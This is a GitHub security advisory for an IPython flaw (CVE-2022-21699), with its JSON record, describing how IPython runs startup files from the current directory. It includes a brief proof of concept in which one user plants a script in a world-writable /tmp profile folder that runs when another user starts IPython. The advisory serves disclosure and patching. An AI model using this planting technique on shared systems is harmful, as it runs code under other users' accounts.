GHSA-pq7m-3gw7-gq5x
Vulnerability from github
Published
2022-01-21 18:55
Modified
2024-09-27 17:22
Severity ?
Summary
Execution with Unnecessary Privileges in ipython
Details
We’d like to disclose an arbitrary code execution vulnerability in IPython that stems from IPython executing untrusted files in CWD. This vulnerability allows one user to run code as another.
Proof of concept
User1:
mkdir -m 777 /tmp/profile_default
mkdir -m 777 /tmp/profile_default/startup
echo 'print("stealing your private secrets")' > /tmp/profile_default/startup/foo.py
User2:
cd /tmp
ipython
User2 will see:
Python 3.9.7 (default, Oct 25 2021, 01:04:21)
Type 'copyright', 'credits' or 'license' for more information
IPython 7.29.0 -- An enhanced Interactive Python. Type '?' for help.
stealing your private secrets
Patched release and documentation
See https://ipython.readthedocs.io/en/stable/whatsnew/version8.html#ipython-8-0-1-cve-2022-21699,
Version 8.0.1, 7.31.1 for current Python version are recommended. Version 7.16.3 has also been published for Python 3.6 users, Version 5.11 (source only, 5.x branch on github) for older Python versions.
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"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "ipython"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
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}
],
"type": "ECOSYSTEM"
}
]
},
{
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"name": "ipython"
},
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},
{
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}
],
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},
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},
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},
{
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}
],
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}
]
},
{
"package": {
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"name": "ipython"
},
"ranges": [
{
"events": [
{
"introduced": "8.0.0"
},
{
"fixed": "8.0.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2022-21699"
],
"database_specific": {
"cwe_ids": [
"CWE-250",
"CWE-269",
"CWE-279"
],
"github_reviewed": true,
"github_reviewed_at": "2022-01-19T21:26:17Z",
"nvd_published_at": "2022-01-19T22:15:00Z",
"severity": "HIGH"
},
"details": "We\u2019d like to disclose an arbitrary code execution vulnerability in IPython that stems from IPython executing untrusted files in CWD. This vulnerability allows one user to run code as another.\n \nProof of concept\n\nUser1:\n```\nmkdir -m 777 /tmp/profile_default\nmkdir -m 777 /tmp/profile_default/startup\necho \u0027print(\"stealing your private secrets\")\u0027 \u003e /tmp/profile_default/startup/foo.py\n```\n\nUser2:\n```\ncd /tmp\nipython\n```\n\n \n\nUser2 will see:\n```\nPython 3.9.7 (default, Oct 25 2021, 01:04:21)\nType \u0027copyright\u0027, \u0027credits\u0027 or \u0027license\u0027 for more information\nIPython 7.29.0 -- An enhanced Interactive Python. Type \u0027?\u0027 for help.\nstealing your private secrets\n```\n\n\n## Patched release and documentation\n\nSee https://ipython.readthedocs.io/en/stable/whatsnew/version8.html#ipython-8-0-1-cve-2022-21699, \n\nVersion 8.0.1, 7.31.1 for current Python version are recommended. \nVersion 7.16.3 has also been published for Python 3.6 users, \nVersion 5.11 (source only, 5.x branch on github) for older Python versions.",
"id": "GHSA-pq7m-3gw7-gq5x",
"modified": "2024-09-27T17:22:07Z",
"published": "2022-01-21T18:55:30Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/ipython/ipython/security/advisories/GHSA-pq7m-3gw7-gq5x"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-21699"
},
{
"type": "WEB",
"url": "https://github.com/ipython/ipython/commit/46a51ed69cdf41b4333943d9ceeb945c4ede5668"
},
{
"type": "WEB",
"url": "https://github.com/ipython/ipython/commit/5fa1e409d2dc126c456510c16ece18e08b524e5b"
},
{
"type": "WEB",
"url": "https://github.com/ipython/ipython/commit/67ca2b3aa9039438e6f80e3fccca556f26100b4d"
},
{
"type": "WEB",
"url": "https://github.com/ipython/ipython/commit/a06ca837273271b4acb82c29be97c0b6d12a30ea"
},
{
"type": "PACKAGE",
"url": "https://github.com/ipython/ipython"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/ipython/PYSEC-2022-12.yaml"
},
{
"type": "WEB",
"url": "https://ipython.readthedocs.io/en/stable/whatsnew/version8.html#ipython-8-0-1-cve-2022-21699"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2022/01/msg00021.html"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/CRQRTWHYXMLDJ572VGVUZMUPEOTPM3KB"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/DZ7LVZBB4D7KVSFNEQUBEHFO3JW6D2ZK"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:P",
"type": "CVSS_V4"
}
],
"summary": "Execution with Unnecessary Privileges in ipython"
}
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